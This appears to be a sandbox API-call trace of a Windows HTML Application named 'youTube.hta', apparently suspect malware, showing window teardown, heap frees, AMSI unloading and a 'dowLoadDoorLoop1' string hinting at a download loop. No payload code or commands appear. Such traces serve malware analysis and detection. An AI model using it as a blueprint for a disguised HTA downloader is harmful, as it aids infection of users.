[0212.276] DestroyWindow (hWnd=0x40264) returned 1
[0212.277] NtdllDefWindowProc_W () returned 0x0
[0212.279] GetWindowLongW (hWnd=0x3029a, nIndex=-21) returned 104988672
[0212.279] GetMessageTime () returned 30028750
[0212.279] GetMessagePos () returned 0x14c0276
[0212.280] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x6c6a50, hWnd=0x3029a, msg=0x281, wParam=0x0, lParam=0xc000000f, plResult=0x19f43c | out: plResult=0x19f43c) returned 0x0
[0212.281] GetWindowLongW (hWnd=0x3029a, nIndex=-21) returned 104988672
[0212.281] GetMessageTime () returned 30028750
[0212.281] GetMessagePos () returned 0x14c0276
[0212.281] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0212.281] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x6c6a50, hWnd=0x3029a, msg=0x282, wParam=0x1, lParam=0x0, plResult=0x19ecfc | out: plResult=0x19ecfc) returned 0x0
[0212.281] SetTimer (hWnd=0x3029a, nIDEvent=0x1000, uElapse=0x64, lpTimerFunc=0x0) returned 0x1000
[0212.282] GetCurrentThreadId () returned 0x7a0
[0212.282] GetCurrentThreadId () returned 0x7a0
[0212.282] PostQuitMessage (nExitCode=0)
[0212.283] GetWindowLongW (hWnd=0x3029a, nIndex=-21) returned 104988672
[0212.283] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x6c6a50, hWnd=0x3029a, msg=0x272, wParam=0x0, lParam=0x0, plResult=0x19fb20 | out: plResult=0x19fb20) returned 0x1
[0212.283] NtdllDefWindowProc_W () returned 0x0
[0212.294] GetCurrentThreadId () returned 0x7a0
[0212.295] GetWindowLongW (hWnd=0x3029a, nIndex=-21) returned 104988672
[0212.295] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6da280 | out: hHeap=0x6b0000) returned 1
[0212.295] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6f7090 | out: hHeap=0x6b0000) returned 1
[0212.295] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x4, lpflOldProtect=0x6ed33704 | out: lpflOldProtect=0x6ed33704*=0x2) returned 1
[0212.296] GetProcAddress (hModule=0x75160000, lpProcName="RevokeDragDrop") returned 0x751863c0
[0212.296] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x2, lpflOldProtect=0x19f878 | out: lpflOldProtect=0x19f878*=0x4) returned 1
[0212.297] RevokeDragDrop (hwnd=0x3029a) returned 0x0
[0212.305] GetCurrentThreadId () returned 0x7a0
[0212.306] GetWindowLongW (hWnd=0x3029a, nIndex=-21) returned 104988672
[0212.306] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x6c6a50, hWnd=0x3029a, msg=0x82, wParam=0x0, lParam=0x0, plResult=0x19fb18 | out: plResult=0x19fb18) returned 0x1
[0212.306] NtdllDefWindowProc_W () returned 0x0
[0212.306] GetCurrentThreadId () returned 0x7a0
[0212.306] SetWindowLongW (hWnd=0x3029a, nIndex=-21, dwNewLong=0) returned 104988672
[0212.307] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x79f850 | out: hHeap=0x6b0000) returned 1
[0212.320] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x7ae490 | out: hHeap=0x6b0000) returned 1
[0212.320] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x7ae328 | out: hHeap=0x6b0000) returned 1
[0212.320] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x7ae448 | out: hHeap=0x6b0000) returned 1
[0212.321] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x7ae430 | out: hHeap=0x6b0000) returned 1
[0212.321] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x7ae2b0 | out: hHeap=0x6b0000) returned 1
[0212.321] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x799630 | out: hHeap=0x6b0000) returned 1
[0212.323] NtdllDefWindowProc_W () returned 0x0
[0212.325] GetMessageW (in: lpMsg=0x19fe74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19fe74) returned 1
[0212.325] TranslateMessage (lpMsg=0x19fe74) returned 0
[0212.325] DispatchMessageW (lpMsg=0x19fe74) returned 0x0
[0212.325] GetWindowLongW (hWnd=0x203d8, nIndex=-21) returned 7147424
[0212.325] QueryPerformanceCounter (in: lpPerformanceCount=0x19fc94 | out: lpPerformanceCount=0x19fc94*=3014706761503) returned 1
[0212.325] NtdllDefWindowProc_W () returned 0x0
[0212.325] GetMessageW (in: lpMsg=0x19fe74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19fe74) returned 1
[0212.325] TranslateMessage (lpMsg=0x19fe74) returned 0
[0212.325] DispatchMessageW (lpMsg=0x19fe74) returned 0x0
[0212.326] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0212.327] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x6d6a80, Size=0x8c8) returned 0x6d6a80
[0212.327] IUnknown:Release (This=0x6c52e0) returned 0x4
[0212.327] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x795a18 | out: hHeap=0x6b0000) returned 1
[0212.328] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6e1a50 | out: hHeap=0x6b0000) returned 1
[0212.328] IUnknown:Release (This=0x6c4c5c) returned 0xe
[0212.328] IUnknown:Release (This=0x6c52e0) returned 0x3
[0212.328] IUnknown:Release (This=0x6c4c5c) returned 0xd
[0212.328] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x715230 | out: hHeap=0x6b0000) returned 1
[0212.328] IUnknown:Release (This=0x6c4c5c) returned 0xc
[0212.328] IUnknown:Release (This=0x6c52e0) returned 0x2
[0212.328] IUnknown:Release (This=0x6c4c5c) returned 0xb
[0212.328] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c70f0 | out: hHeap=0x6b0000) returned 1
[0212.329] IUnknown:Release (This=0x6c4c5c) returned 0xa
[0212.329] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6da370 | out: hHeap=0x6b0000) returned 1
[0212.329] IUnknown:Release (This=0x6c4c5c) returned 0x9
[0212.329] IUnknown:Release (This=0x6c4c5c) returned 0x8
[0212.329] IUnknown:Release (This=0x6c4c5c) returned 0x7
[0212.329] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6dad08 | out: hHeap=0x6b0000) returned 1
[0212.329] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6da220 | out: hHeap=0x6b0000) returned 1
[0212.330] IUnknown:Release (This=0x6c0b60) returned 0x0
[0212.330] IUnknown:Release (This=0x6c57dc) returned 0x1
[0212.330] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c57d8 | out: hHeap=0x6b0000) returned 1
[0212.330] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6dade8 | out: hHeap=0x6b0000) returned 1
[0212.330] IUnknown:Release (This=0x6c5dd8) returned 0x0
[0212.330] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6d29e8 | out: hHeap=0x6b0000) returned 1
[0212.330] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6dad70 | out: hHeap=0x6b0000) returned 1
[0212.330] GetCurrentThreadId () returned 0x7a0
[0212.331] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6e1640 | out: hHeap=0x6b0000) returned 1
[0212.331] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6dfc10 | out: hHeap=0x6b0000) returned 1
[0212.336] LoadStringW (in: hInstance=0x6dc70000, uID=0x1fe9, lpBuffer=0x19f840, cchBufferMax=512 | out: lpBuffer="Done") returned 0x4
[0212.336] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6daee8 | out: hHeap=0x6b0000) returned 1
[0212.336] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x707a18 | out: hHeap=0x6b0000) returned 1
[0212.336] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x707aa8, Size=0xe) returned 0x707aa8
[0212.336] GetCurrentThreadId () returned 0x7a0
[0212.337] IUnknown:AddRef (This=0x6d993c) returned 0x5
[0212.337] IUri:GetScheme (in: This=0x6d993c, pdwScheme=0x19ece0 | out: pdwScheme=0x19ece0*=0x9) returned 0x0
[0212.337] IUnknown:QueryInterface (in: This=0x6d993c, riid=0x6dcd333c*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x19ec8c | out: ppvObject=0x19ec8c*=0x6d993c) returned 0x0
[0212.338] IUnknown:Release (This=0x6d993c) returned 0x5
[0212.338] IUnknown:AddRef (This=0x6d993c) returned 0x6
[0212.338] PathCreateFromUrlW (in: pszUrl="file:///C:/Users/RDhJ0CNFevzX/Documents/youTube.hta", pszPath=0x19f4f8, pcchPath=0x19ecc8, dwFlags=0x0 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\Documents\\youTube.hta", pcchPath=0x19ecc8) returned 0x0
[0212.338] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x5c) returned 0x9e77488
[0212.338] IUnknown:Release (This=0x6d993c) returned 0x5
[0212.338] GetWindowTextW (in: hWnd=0x40264, lpString=0x19e86c, nMaxCount=512 | out: lpString="") returned 0
[0212.338] SetWindowTextW (hWnd=0x40264, lpString="C:\\Users\\RDhJ0CNFevzX\\Documents\\youTube.hta") returned 0
[0212.338] IUnknown:Release (This=0x6d993c) returned 0x4
[0212.338] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x9e77488 | out: hHeap=0x6b0000) returned 1
[0212.338] LoadIconW (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
[0212.338] SendMessageW (hWnd=0x403c0, Msg=0x80, wParam=0x1, lParam=0x10027) returned 0x0
[0212.338] NtdllDefWindowProc_W () returned 0x0
[0212.343] SendMessageW (hWnd=0x40264, Msg=0x80, wParam=0x0, lParam=0x10027) returned 0x0
[0212.343] SetWindowLongW (hWnd=0x40264, nIndex=-16, dwNewLong=-2100363264) returned 0
[0212.343] SetWindowLongW (hWnd=0x40264, nIndex=-20, dwNewLong=262144) returned 0
[0212.343] SetWindowPos (hWnd=0x40264, hWndInsertAfter=0xfffffffe, X=0, Y=0, cx=0, cy=0, uFlags=0x37) returned 0
[0212.343] GlobalAddAtomW (lpString=0x0) returned 0x0
[0212.343] SetPropW (hWnd=0x403c0, lpString=0x0, hData=0x403c0) returned 0
[0212.343] SetWindowPos (hWnd=0x40264, hWndInsertAfter=0x0, X=-10, Y=-10, cx=0, cy=0, uFlags=0x15) returned 0
[0212.344] ShowWindow (hWnd=0x40264, nCmdShow=10) returned 0
[0212.344] UpdateWindow (hWnd=0x40264) returned 0
[0212.344] StrCmpNICW (lpStr1="text/", lpStr2="text/", nChar=5) returned 0
[0212.344] StrCmpICW (pszStr1="javascript", pszStr2="javascript") returned 0
[0212.344] GetCurrentThreadId () returned 0x7a0
[0212.344] StrCmpNICW (lpStr1="text/", lpStr2="text/", nChar=5) returned 0
[0212.345] StrCmpICW (pszStr1="javascript", pszStr2="javascript") returned 0
[0212.345] GetCurrentThreadId () returned 0x7a0
[0212.345] GetCurrentThreadId () returned 0x7a0
[0212.346] GetCurrentThreadId () returned 0x7a0
[0212.347] GetCurrentThreadId () returned 0x7a0
[0212.347] GetCurrentThreadId () returned 0x7a0
[0212.347] QueryPerformanceCounter (in: lpPerformanceCount=0x19f730 | out: lpPerformanceCount=0x19f730*=3014708969963) returned 1
[0212.347] ScreenToClient (in: hWnd=0x0, lpPoint=0x19f580 | out: lpPoint=0x19f580) returned 0
[0212.348] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0212.349] GetCurrentThreadId () returned 0x7a0
[0212.349] GetCurrentThreadId () returned 0x7a0
[0212.350] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0212.350] QueryPerformanceCounter (in: lpPerformanceCount=0x19f6b8 | out: lpPerformanceCount=0x19f6b8*=3014709226721) returned 1
[0212.350] ScreenToClient (in: hWnd=0x0, lpPoint=0x19f518 | out: lpPoint=0x19f518) returned 0
[0212.350] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0212.351] ScreenToClient (in: hWnd=0x0, lpPoint=0x19f520 | out: lpPoint=0x19f520) returned 0
[0212.351] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0212.352] GetCurrentThreadId () returned 0x7a0
[0212.352] GetCurrentThreadId () returned 0x7a0
[0212.352] QueryPerformanceCounter (in: lpPerformanceCount=0x19f6b8 | out: lpPerformanceCount=0x19f6b8*=3014709451763) returned 1
[0212.352] GetCurrentThreadId () returned 0x7a0
[0212.352] GetCurrentThreadId () returned 0x7a0
[0212.352] IsWinEventHookInstalled (event=0x8000) returned 1
[0212.353] IUnknown:AddRef (This=0x6d993c) returned 0x5
[0212.353] IUnknown:AddRef (This=0x6c0ae0) returned 0x2
[0212.353] IInternetSecurityManager:MapUrlToZone (in: This=0x6ee367bc, pwszUrl="file:///C:/Users/RDhJ0CNFevzX/Documents/youTube.hta", pdwZone=0x19f71c, dwFlags=0x0 | out: pdwZone=0x19f71c*=0xffffffff) returned 0x800c0011
[0212.353] IUnknown:Release (This=0x6c0ae0) returned 0x1
[0212.353] IUnknown:Release (This=0x6d993c) returned 0x4
[0212.354] GetCurrentThreadId () returned 0x7a0
[0212.354] GetMessageW (in: lpMsg=0x19fe74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19fe74) returned 1
[0212.354] TranslateMessage (lpMsg=0x19fe74) returned 0
[0212.354] DispatchMessageW (lpMsg=0x19fe74) returned 0x0
[0212.354] GetWindowLongW (hWnd=0x203d8, nIndex=-21) returned 7147424
[0212.354] PostQuitMessage (nExitCode=0)
[0212.354] QueryPerformanceCounter (in: lpPerformanceCount=0x19fc94 | out: lpPerformanceCount=0x19fc94*=3014709687279) returned 1
[0212.355] NtdllDefWindowProc_W () returned 0x0
[0212.355] GetMessageW (in: lpMsg=0x19fe74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19fe74) returned 0
[0212.355] GetWindowThreadProcessId (in: hWnd=0xa01d6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a0
[0212.355] GetCurrentThreadId () returned 0x7a0
[0212.355] PostMessageW (hWnd=0xa01d6, Msg=0x8002, wParam=0x0, lParam=0x0) returned 1
[0212.355] GetCurrentThreadId () returned 0x7a0
[0212.356] GetCurrentThreadId () returned 0x7a0
[0212.356] GetCurrentThreadId () returned 0x7a0
[0212.356] IUri:GetScheme (in: This=0x6d993c, pdwScheme=0x19fd24 | out: pdwScheme=0x19fd24*=0x9) returned 0x0
[0212.356] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x4, lpflOldProtect=0x6ed33704 | out: lpflOldProtect=0x6ed33704*=0x2) returned 1
[0212.357] GetProcAddress (hModule=0x70a40000, lpProcName=0x20f) returned 0x70ab8d70
[0212.357] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x2, lpflOldProtect=0x19fc98 | out: lpflOldProtect=0x19fc98*=0x4) returned 1
[0212.391] ScreenToClient (in: hWnd=0x0, lpPoint=0x19fbb8 | out: lpPoint=0x19fbb8) returned 0
[0212.391] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0212.392] ScreenToClient (in: hWnd=0x0, lpPoint=0x19fbb8 | out: lpPoint=0x19fbb8) returned 0
[0212.392] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0212.392] GetCurrentThreadId () returned 0x7a0
[0212.393] GetCurrentThreadId () returned 0x7a0
[0212.393] IsWinEventHookInstalled (event=0x8001) returned 1
[0212.393] GetCurrentThreadId () returned 0x7a0
[0212.393] CActiveIMMAppEx_Trident:IActiveIMMApp:Deactivate (This=0x6c6a50) returned 0x0
[0212.394] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6f7128 | out: hHeap=0x6b0000) returned 1
[0212.395] GetCurrentThreadId () returned 0x7a0
[0212.396] GetCurrentThreadId () returned 0x7a0
[0212.397] GetCurrentThreadId () returned 0x7a0
[0212.397] GetCurrentThreadId () returned 0x7a0
[0212.398] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c64b0 | out: hHeap=0x6b0000) returned 1
[0212.398] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x76f778 | out: hHeap=0x6b0000) returned 1
[0212.398] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x755c68 | out: hHeap=0x6b0000) returned 1
[0212.398] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x76f7a0 | out: hHeap=0x6b0000) returned 1
[0212.398] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c5538 | out: hHeap=0x6b0000) returned 1
[0212.399] GetCurrentThreadId () returned 0x7a0
[0212.399] GetCurrentThreadId () returned 0x7a0
[0212.399] GetCurrentThreadId () returned 0x7a0
[0212.399] GetCurrentThreadId () returned 0x7a0
[0212.399] GetCurrentThreadId () returned 0x7a0
[0212.399] IUnknown:Release (This=0x769380) returned 0x1
[0212.399] GetCurrentThreadId () returned 0x7a0
[0212.399] GetCurrentThreadId () returned 0x7a0
[0212.399] GetCurrentThreadId () returned 0x7a0
[0212.400] free (_Block=0x6326d30)
[0212.400] IUnknown:Release (This=0x6408570) returned 0x8
[0212.400] IUnknown:Release (This=0x6408570) returned 0x7
[0212.400] IUnknown:Release (This=0x6408570) returned 0x6
[0212.400] IUnknown:Release (This=0x6408570) returned 0x5
[0212.400] free (_Block=0x6358320)
[0212.400] free (_Block=0x6359f38)
[0212.400] free (_Block=0x6358368)
[0212.400] free (_Block=0x6358290)
[0212.400] free (_Block=0x6356620)
[0212.401] ISystemDebugEventFire:EndSession (This=0x769380) returned 0x0
[0212.401] IUnknown:Release (This=0x769380) returned 0x0
[0212.401] GetUserDefaultLCID () returned 0x409
[0212.401] GetACP () returned 0x4e4
[0212.401] free (_Block=0x6368c40)
[0212.401] free (_Block=0x63581e0)
[0212.401] free (_Block=0x6358260)
[0212.402] free (_Block=0x635a210)
[0212.402] free (_Block=0x6326ce0)
[0212.402] free (_Block=0x6358548)
[0212.402] GetCurrentThreadId () returned 0x7a0
[0212.402] free (_Block=0x6327330)
[0212.402] free (_Block=0x6368c90)
[0212.403] GetProcAddress (hModule=0x65c30000, lpProcName="AmsiUninitialize") returned 0x65c33f20
[0212.404] AmsiUninitialize () returned 0x1
[0212.404] FreeLibrary (hLibModule=0x65c30000) returned 1
[0212.404] free (_Block=0x6368880)
[0212.405] GetCurrentThreadId () returned 0x7a0
[0212.405] GetCurrentThreadId () returned 0x7a0
[0212.405] free (_Block=0x631dff0)
[0212.406] _flushall () returned 3
[0212.406] free (_Block=0x6321a08)
[0212.406] free (_Block=0x6321a70)
[0212.406] free (_Block=0x6321af0)
[0212.406] free (_Block=0x6321dd8)
[0212.406] free (_Block=0x6321e10)
[0212.406] free (_Block=0x6321e48)
[0212.406] free (_Block=0x6321e80)
[0212.406] free (_Block=0x6322020)
[0212.406] free (_Block=0x631fa50)
[0212.406] free (_Block=0x6367eb8)
[0212.406] free (_Block=0x6368510)
[0212.406] free (_Block=0x63682e0)
[0212.406] free (_Block=0x6368318)
[0212.407] VirtualFree (lpAddress=0x7620000, dwSize=0x1000, dwFreeType=0x4000) returned 1
[0212.407] swprintf_s (in: _Dst=0x19f9f8, _SizeInWords=0x1b, _Format="%s%s%d" | out: _Dst="dowLoadDoorLoop1") returned 16
[0212.408] free (_Block=0x631f260)
[0212.408] free (_Block=0x6324780)
[0212.408] free (_Block=0x6324708)
[0212.408] free (_Block=0x631f4d0)
[0212.408] free (_Block=0x631f330)
[0212.408] free (_Block=0x6324768)
[0212.408] free (_Block=0x6324810)
[0212.408] free (_Block=0x63247f8)
[0212.408] free (_Block=0x631f300)
[0212.408] free (_Block=0x63246f0)
[0212.408] free (_Block=0x63247b0)
[0212.408] free (_Block=0x631f9e0)
[0212.408] free (_Block=0x631f1f0)
[0212.408] free (_Block=0x6324840)
[0212.408] free (_Block=0x63247e0)
[0212.408] free (_Block=0x631f490)
[0212.408] free (_Block=0x631f370)
[0212.408] free (_Block=0x6324858)
[0212.408] free (_Block=0x6324918)
[0212.408] free (_Block=0x631f450)
[0212.409] free (_Block=0x631f1e0)
[0212.409] free (_Block=0x6324720)
[0212.409] free (_Block=0x63248b8)
[0212.409] free (_Block=0x631f410)
[0212.409] free (_Block=0x631f1b0)
[0212.409] free (_Block=0x6324960)
[0212.409] free (_Block=0x63246d8)
[0212.409] free (_Block=0x6324750)
[0212.409] free (_Block=0x631f2b0)
[0212.409] free (_Block=0x63248a0)
[0212.409] free (_Block=0x63247c8)
[0212.409] free (_Block=0x631f970)
[0212.409] free (_Block=0x631f230)
[0212.409] free (_Block=0x6324738)
[0212.409] free (_Block=0x631ed58)
[0212.409] free (_Block=0x631f938)
[0212.409] free (_Block=0x631f2d0)
[0212.409] free (_Block=0x631ecc8)
[0212.409] free (_Block=0x631ec38)
[0212.409] free (_Block=0x631f3d0)
[0212.409] free (_Block=0x631f220)
[0212.409] free (_Block=0x631ede8)
[0212.409] free (_Block=0x631ef08)
[0212.410] free (_Block=0x631f390)
[0212.410] free (_Block=0x631f210)
[0212.410] free (_Block=0x631ee78)
[0212.410] free (_Block=0x631ec68)
[0212.410] free (_Block=0x631ed28)
[0212.410] free (_Block=0x631f2a0)
[0212.410] free (_Block=0x631ecb0)
[0212.410] free (_Block=0x631ed88)
[0212.410] free (_Block=0x631f900)
[0212.410] free (_Block=0x631f2e0)
[0212.410] free (_Block=0x631eed8)
[0212.410] free (_Block=0x631edd0)
[0212.410] free (_Block=0x631f8c8)
[0212.410] free (_Block=0x631f178)
[0212.410] free (_Block=0x631eec0)
[0212.410] free (_Block=0x631ee18)
[0212.410] free (_Block=0x631fb68)
[0212.411] free (_Block=0x631f168)
[0212.411] free (_Block=0x631ec20)
[0212.411] free (_Block=0x631edb8)
[0212.411] free (_Block=0x631faf8)
[0212.411] free (_Block=0x631f158)
[0212.411] free (_Block=0x631eea8)
[0212.411] free (_Block=0x631ec98)
[0212.411] free (_Block=0x631fc10)
[0212.411] free (_Block=0x631f148)
[0212.411] free (_Block=0x631ed40)
[0212.411] free (_Block=0x631ec80)
[0212.411] free (_Block=0x631fb30)
[0212.411] free (_Block=0x631f138)
[0212.411] free (_Block=0x631eef0)
[0212.411] free (_Block=0x631ee60)
[0212.411] free (_Block=0x631f0f8)
[0212.411] free (_Block=0x631f0e8)
[0212.411] free (_Block=0x631ee48)
[0212.411] free (_Block=0x631ed10)
[0212.411] free (_Block=0x631ec50)
[0212.411] free (_Block=0x631f0d8)
[0212.411] free (_Block=0x631ecf8)
[0212.412] free (_Block=0x631ed70)
[0212.412] free (_Block=0x631fba0)
[0212.412] free (_Block=0x631f0c8)
[0212.412] free (_Block=0x631ece0)
[0212.412] free (_Block=0x631ee30)
[0212.413] free (_Block=0x631f088)
[0212.413] free (_Block=0x631f078)
[0212.413] free (_Block=0x631ee00)
[0212.413] free (_Block=0x631eda0)
[0212.413] free (_Block=0x631ee90)
[0212.413] free (_Block=0x631f068)
[0212.413] free (_Block=0x631ef80)
[0212.413] free (_Block=0x631efb0)
[0212.413] free (_Block=0x631fbd8)
[0212.413] free (_Block=0x631f058)
[0212.413] free (_Block=0x631ef68)
[0212.413] free (_Block=0x631ef50)
[0212.413] free (_Block=0x631f018)
[0212.414] free (_Block=0x631f008)
[0212.414] free (_Block=0x631ef98)
[0212.414] free (_Block=0x631ef20)
[0212.414] free (_Block=0x631ef38)
[0212.414] free (_Block=0x631eff8)
[0212.414] free (_Block=0x631efe0)
[0212.414] free (_Block=0x631efc8)
[0212.414] free (_Block=0x631f9a8)
[0212.414] free (_Block=0x6318bb8)
[0212.414] free (_Block=0x6321d00)
[0212.414] free (_Block=0x6321ce8)
[0212.414] free (_Block=0x631ebb0)
[0212.414] free (_Block=0x631ca20)
[0212.414] free (_Block=0x6321cd0)
[0212.414] free (_Block=0x6321cb8)
[0212.414] free (_Block=0x6321ca0)
[0212.415] free (_Block=0x6321380)
[0212.415] free (_Block=0x631e8b0)
[0212.415] free (_Block=0x631e778)
[0212.415] free (_Block=0x631e7e0)
[0212.415] free (_Block=0x631e570)
[0212.415] free (_Block=0x631e848)
[0212.415] free (_Block=0x631e508)
[0212.415] free (_Block=0x631e340)
[0212.415] free (_Block=0x6321318)
[0212.415] free (_Block=0x63212b0)
[0212.415] free (_Block=0x6321248)
[0212.415] free (_Block=0x63211e0)
[0212.415] free (_Block=0x6321178)
[0212.415] free (_Block=0x6321110)
[0212.415] free (_Block=0x63210a8)
[0212.415] free (_Block=0x6321040)
[0212.415] free (_Block=0x6320fd8)
[0212.415] free (_Block=0x6320f70)
[0212.415] free (_Block=0x6320f08)
[0212.415] free (_Block=0x6320ea0)
[0212.416] free (_Block=0x6320e38)
[0212.416] free (_Block=0x6320dd0)
[0212.416] free (_Block=0x6320d68)
[0212.416] free (_Block=0x631f200)
[0212.416] free (_Block=0x631f510)
[0212.416] free (_Block=0x63248d0)
[0212.416] free (_Block=0x6324798)
[0212.416] VirtualFree (lpAddress=0x75a0000, dwSize=0x1000, dwFreeType=0x4000) returned 1
[0212.417] free (_Block=0x6318b70)
[0212.425] free (_Block=0x6318b18)
[0212.425] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x6315a20 | out: lpSystemTimeAsFileTime=0x6315a20*(dwLowDateTime=0x7c5416fb, dwHighDateTime=0x1d7e6dd))
[0212.425] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x6315a30 | out: lpSystemTimeAsFileTime=0x6315a30*(dwLowDateTime=0x7c5416fb, dwHighDateTime=0x1d7e6dd))
[0212.426] ResetWriteWatch (lpBaseAddress=0x7400000, dwRegionSize=0x1000) returned 0x0
[0212.426] ResetWriteWatch (lpBaseAddress=0x7401000, dwRegionSize=0x1000) returned 0x0
[0212.426] ResetWriteWatch (lpBaseAddress=0x7402000, dwRegionSize=0x1000) returned 0x0
[0212.426] ResetWriteWatch (lpBaseAddress=0x7403000, dwRegionSize=0x1000) returned 0x0
[0212.426] ResetWriteWatch (lpBaseAddress=0x7404000, dwRegionSize=0x1000) returned 0x0
[0212.426] ResetWriteWatch (lpBaseAddress=0x7406000, dwRegionSize=0x1000) returned 0x0
[0212.426] ResetWriteWatch (lpBaseAddress=0x7407000, dwRegionSize=0x1000) returned 0x0
[0212.426] ResetWriteWatch (lpBaseAddress=0x7408000, dwRegionSize=0x1000) returned 0x0
[0212.426] ResetWriteWatch (lpBaseAddress=0x7409000, dwRegionSize=0x1000) returned 0x0
[0212.426] ResetWriteWatch (lpBaseAddress=0x740a000, dwRegionSize=0x1000) returned 0x0
[0212.426] ResetWriteWatch (lpBaseAddress=0x740b000, dwRegionSize=0x1000) returned 0x0
[0212.426] ResetWriteWatch (lpBaseAddress=0x740c000, dwRegionSize=0x1000) returned 0x0
[0212.426] ResetWriteWatch (lpBaseAddress=0x740d000, dwRegionSize=0x1000) returned 0x0
[0212.426] ResetWriteWatch (lpBaseAddress=0x740e000, dwRegionSize=0x1000) returned 0x0
[0212.426] ResetWriteWatch (lpBaseAddress=0x740f000, dwRegionSize=0x1000) returned 0x0
[0212.427] ResetWriteWatch (lpBaseAddress=0x7410000, dwRegionSize=0x1000) returned 0x0
[0212.427] ResetWriteWatch (lpBaseAddress=0x7411000, dwRegionSize=0x1000) returned 0x0
[0212.427] ResetWriteWatch (lpBaseAddress=0x7412000, dwRegionSize=0x1000) returned 0x0
[0212.427] ResetWriteWatch (lpBaseAddress=0x7413000, dwRegionSize=0x1000) returned 0x0
[0212.427] ResetWriteWatch (lpBaseAddress=0x7414000, dwRegionSize=0x1000) returned 0x0
[0212.427] ResetWriteWatch (lpBaseAddress=0x7415000, dwRegionSize=0x1000) returned 0x0
[0212.427] ResetWriteWatch (lpBaseAddress=0x7416000, dwRegionSize=0x1000) returned 0x0
[0212.427] ResetWriteWatch (lpBaseAddress=0x7417000, dwRegionSize=0x1000) returned 0x0
[0212.427] ResetWriteWatch (lpBaseAddress=0x7418000, dwRegionSize=0x1000) returned 0x0
[0212.427] ResetWriteWatch (lpBaseAddress=0x7419000, dwRegionSize=0x1000) returned 0x0
[0212.427] ResetWriteWatch (lpBaseAddress=0x741a000, dwRegionSize=0x1000) returned 0x0
[0212.427] ResetWriteWatch (lpBaseAddress=0x741b000, dwRegionSize=0x1000) returned 0x0
[0212.427] ResetWriteWatch (lpBaseAddress=0x741c000, dwRegionSize=0x1000) returned 0x0
[0212.427] ResetWriteWatch (lpBaseAddress=0x741d000, dwRegionSize=0x1000) returned 0x0
[0212.428] ResetWriteWatch (lpBaseAddress=0x741e000, dwRegionSize=0x1000) returned 0x0
[0212.428] ResetWriteWatch (lpBaseAddress=0x741f000, dwRegionSize=0x1000) returned 0x0
